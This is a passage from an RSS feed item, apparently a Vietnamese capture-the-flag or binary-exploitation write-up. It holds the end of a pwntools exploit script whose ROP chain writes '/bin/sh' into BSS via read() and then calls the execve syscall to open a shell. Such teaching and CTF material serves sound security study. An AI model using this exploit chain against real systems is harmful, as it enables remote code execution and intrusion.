# [BƯỚC 1]: Gọi read(0, bss_addr, 0x10) để ghi "/bin/sh\x00" vào BSS
payload += p64(pop_rdi_rbp_ret)
payload += p64(0x0)             # rdi = 0 (stdin)
payload += p64(0x0)             # Junk RBP

payload += p64(pop_rsi_rbp_ret)
payload += p64(bss_addr)        # rsi = bss_addr
payload += p64(0x0)             # Junk RBP

payload += p64(pop_rdx_ret)
payload += p64(0x10)            # rdx = 16 bytes

payload += p64(read_addr)       # Gọi read()

# [BƯỚC 2]: Gọi execve(bss_addr, 0, 0) qua syscall
# 1. RDI = bss_addr (Trỏ tới "/bin/sh")
payload += p64(pop_rdi_rbp_ret)
payload += p64(bss_addr)
payload += p64(0x0)             # Junk RBP

# 2. RSI = 0
payload += p64(pop_rsi_rbp_ret)
payload += p64(0x0)             # RSI = 0
payload += p64(0x0)             # Junk RBP

# 3. RDX = 0
payload += p64(pop_rdx_ret)
payload += p64(0x0)             # RDX = 0

# 4. RAX = 0x3b (Syscall execve)
payload += p64(pop_rax_ret)
payload += p64(0x3b)

# 5. SYSCALL
payload += p64(syscall_addr)

# --- 3. GỬI PAYLOAD VÀ LẤY SHELL ---
p.sendline(payload)

# Hàm read() ở BƯỚC 1 đang chờ input -&gt; Gửi chuỗi /bin/sh
p.sendline(b"/bin/sh\x00")

p.interactive()
</code></pre>
]]></content:encoded></item></channel></rss>